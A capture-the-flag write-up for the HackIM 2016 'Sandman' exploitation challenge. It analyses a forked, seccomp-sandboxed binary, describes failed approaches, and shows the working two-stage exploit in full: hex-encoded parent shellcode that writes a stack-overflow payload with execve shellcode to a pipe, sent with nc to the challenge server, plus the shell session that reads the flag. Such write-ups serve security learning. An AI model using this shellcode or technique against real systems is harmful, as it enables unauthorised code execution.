Points: 200 Solves: Category: Exploitation Description:

Sandman

Write-Up

[*] '/Users/user/ctfs/HackIM2016/pwn200/sandman'   
   Arch:          amd64-64-little   
   RELRO:         Partial RELRO   
   Stack Canary:  No canary found   
   NX:            NX disabled   
   PIE:           No PIE   

So a 64bit binary with all protections disabled.

Execution flow

  1. Create a pipe(pipeFD)
  2. fork()
    • What follows next is the execution flow of the parent process, the child takes a different route
      1. read(stdin, bufSize, 4)
      2. mmap(0, bufSize, 0x7, 0x22, 0xffffffff, 0x0) - the size we pass to the previous read() is the size mmap allocates with read/write/execute permissions
      3. read(stdin, newMemoryMapFromMmap, bufSize)
      4. Sandbox the parent with seccomp, the only allowed syscalls are read/write/exit
      5. Jump to the new mmap page and execute our input (I call this the parent shellcode)
        • Child execution flow
      6. call 0x0400e2b with argument the created pipe file descriptor
      7. read(stdin, localBuf, 1)
      8. call 0x400ddf(localBuf, pipeFD)

        Here in 0x400ddf it compares if the localBuf data we passed is == 0x0e or ( > 1 || =< 0x05 ).
        To reach the vulnerable code we need this to be == 0x0e

      9. call func 0x400cca
        4.1. In this function we have a call to read(stdin, localBuf, 4)
        4.2. calloc(localBuf) - Ok, we control the size of allocated heap buffer
        4.3. read(pipeFD, callocBufferOnHeap, localBuf)

        So, it looks like control the amount of data to be placed on the heap. The input file descriptor is the previously created pipe().

      10. Call vulnerable function 0x0400bac(callocBufferOnHeap)
      11. strncmp(callocBufferOnHeap, “http://”, 7) - We need this compare to pass in order to continue
      12. dataSize = strlen(callocBufferOnHeap)
        7.1. Here at 0x0400c79 is a jump that I can’t take. It takes the jump only if (callocBufferOnHeap+7) > EndOf_callocBufferOnHeap.
        7.2. size = strlen(callocBufferOnHeap+7)
        7.3. vulnerable strncpy(localBuffer, callocBufferOnHea+7, size)

Gameplan + few failed attempts

To exploit this the plan of action is to build a shellcode on the parent process that writes to the pipe file descriptor. The child process reads from the pipe enough data so it passes all verification checks and overwrites the saved RET in 0x0400bac.

As we control the size to be copied to the local buffer in 0x0400bac, we can just overwrite the RET. The local buffer’s size is 0x230 bytes with NX disabled it should be easy right ? Yes but No, even after controlling the RET, first we can only pass a single RET address since strncpy is going to terminate on null bytes. Even after we can jump to any memory address with ASLR on we don’t know which address to jump to. I can also tell you that a pointer to the Heap Buffer is in RDI but there are no gadgets to do jump/call RDI.

Another trick that I tried is to use a RET-chain by using the 8 byte address of the vsyscall table we can chain as many RETs as we want. After chaining 9 RET we reach a pointer to our BufferOnHeap+7, we just place shellcode there and viola. However, this method failed for me with SEGFAULT as soon as I tried executing the RET in the vsyscall table. A gadget that does 8 pops + ret would of worked for this method as well, but the only gadget with the closest to this stack pivot is a gadget at 0x401166, that does add rsp, 8, pop x 6, ret, with this we fall short a single pop :(, so we fail again.

And yet another fail for me was to use a gadget that does just 4 pops (or 3 I dont remember at this point) + ret since there we can find a pointer to the beginning of the BufferOnHeap. However, remember to reach the vulnerable code our buffer on the Heap needs to start with “http://” ? All is good, if “http://” converts to some garbage instructions that can easily execute and we can continue with shellcode after that. Yes but no, the 0x2f is a bad opcode, so this is not an option either :/.

The real exploit

The way I exploited this is to leak the address of the local buffer of 0x0400bac from the parent to the child. Use that address as RET as classic RET-2-buffer exploit and execute any shellcode I want on the child where there is no sandbox. This works because fork() duplicates the entire process’s memory space so the parent and child will have the same addresses. After a few calculations I decide to use RSP-0x100 from the parent as the RET address. Here is a table of how the shellcode from the parent to the child needs to look like:

|1byte| 4 bytes Size     | data to pass to the child                       | ret Addr      |
+-----+------------------+-------------------------------------------------+---------------+
 0x0e |\x??\x00\x00\x00  | "http://" + 0x230 bytes of nopsled + shellcode  | RSP - 0x100   |
+-----+------------------+-------------------------------------------------+---------------+

This payload needs to be build from the parent and written to the pipe. So basically a shellcode writting shellcode :) (Sounds like the matrix “machines building machines”, right? :P ).

To do that here is my assembly shellcode that I pass to the parent.

4 byte size of payld| shellcode building sc    | sc write builded sc to pipe | Infinite loop |
--------------------+--------------------------+-----------------------------+---------------+
\xb8\x00\x00\x00    | see screenshot of the sc | see screenshot of sc        | \xeb\xfe      |
--------------------+--------------------------+-----------------------------+---------------+

Yes, I added an infinite loop so the parent doesnt exit… I probably could of duplicated the socked fd and use it in the child for stdin/stdout but I didn’t think too much about this since adding just 2 bytes made everything work for me.

parent shellcode

Shellcode in action.

➜  pwn200  (python -c 'print("\xb8\x00\x00\x00\x48\x8d\x9a\x00\x10\x00\x00\x48\xbe\x0e\x60\x02\x00\x00\x68\x74\x74\x48\x89\x33\x48\xbe\x70\x3a\x2f\x2f\x90\x90\x90\x90\x48\x89\x73\x08\x48\x31\xc9\x48\xbe\x90\x90\x90\x90\x90\x90\x90\x90\x48\x83\xc3\x0c\x48\x89\x34\xCB\x48\xff\xc1\x48\x83\xf9\x41\x75\xf3\x48\xbe\x90\x48\x83\xc4\x1e\x31\xc0\x48\x48\x89\x34\xCB\x48\xff\xc1\x48\xbe\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\x48\x89\x34\xCB\x48\xff\xc1\x48\xbe\xff\x48\xf7\xdb\x53\x54\x5f\x99\x48\x89\x34\xCB\x48\xff\xc1\x48\xbe\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x48\x89\x34\xCB\x48\xff\xc1\x48\x8d\xb4\x24\x00\xff\xff\xff\x48\x89\x34\xCB\x48\xff\xc1\x48\x31\xc0\x8b\x45\xd0\x48\x89\xc7\x48\xc7\xc0\x01\x00\x00\x00\x48\x83\xeb\x0c\x48\x89\xde\x48\xc7\xc2\x00\x10\x00\x00\x48\xff\xc7\x0f\x05\xeb\xfe")';cat) | nc -vvv 52.72.171.221 9982

Connection to 52.72.171.221 9982 port [tcp/*] succeeded!
sh: cannot set terminal process group (14781): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.3$ sh-4.3$ echo *
bin dev flag-ooMeeT3iEephei1dAHighae7.txt lib lib64 sandman server.sh usr

sh-4.3$ cat flag-ooMeeT3iEephei1dAHighae7.txt
flag-{br3k1ng-b4d-s4ndm4n}
sh-4.3$
  • Thank you for reading/watching ;)